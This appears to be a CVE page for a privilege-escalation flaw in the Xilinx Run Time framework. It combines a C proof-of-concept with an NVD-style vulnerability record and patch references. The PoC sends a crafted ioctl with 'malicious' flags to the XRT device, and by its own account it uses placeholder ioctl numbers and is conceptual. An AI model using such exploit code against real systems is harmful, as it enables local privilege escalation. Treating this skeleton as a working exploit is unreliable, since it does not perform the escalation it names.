CVE-2025-0007

// CVE-2025-0007 PoC - Privileged Escalation via Xilinx Run Time // Note: This is a conceptual PoC for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // XRT IOCTL definitions (placeholder) #define XRT_IOC_VERSION 0x1001 #define XRT_IOC_BO_CREATE 0x1002 #define XRT_IOC_BO_SYNC 0x1003 struct xrt_bo_create { unsigned long size; unsigned int flags; unsigned long handle; }; int main(int argc, char *argv[]) { int fd; struct xrt_bo_create bo_create; printf("[*] CVE-2025-0007 PoC - XRT Privilege Escalation\n"); printf("[*] Target: Xilinx Run Time Framework\n"); // Open XRT device driver fd = open("/dev/xrt/device", O_RDWR); if (fd < 0) { printf("[-] Failed to open XRT device\n"); return -1; } printf("[+] Opened XRT device successfully\n"); // Prepare malicious buffer object creation request memset(&bo_create, 0, sizeof(bo_create)); bo_create.size = 0x1000; bo_create.flags = 0xFFFFFFFF; // Malicious flags printf("[*] Sending crafted IOCTL request...\n"); // Trigger the vulnerability via IOCTL if (ioctl(fd, XRT_IOC_BO_CREATE, &bo_create) < 0) { printf("[-] IOCTL call failed\n"); close(fd); return -1; } printf("[+] Malicious request sent\n"); printf("[*] Note: Successful exploitation requires specific conditions\n"); printf("[*] See AMD-SB-8014 for patch information\n"); close(fd); return 0; } /* * Mitigation: * - Apply AMD Xilinx security patch from AMD-SB-8014 * - Update XRT to latest patched version * - Implement proper input validation in kernel modules */

{"cve": {"id": "CVE-2025-0007", "sourceIdentifier": "[email protected]", "published": "2025-11-24T21:16:02.023", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation within Xilinx Run Time framework could allow a local attacker to escalate privileges from user space to kernel space, potentially compromising confidentiality, integrity, and/or availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.5, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-710"}]}], "references": [{"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-8014.html", "source": "[email protected]"}]}}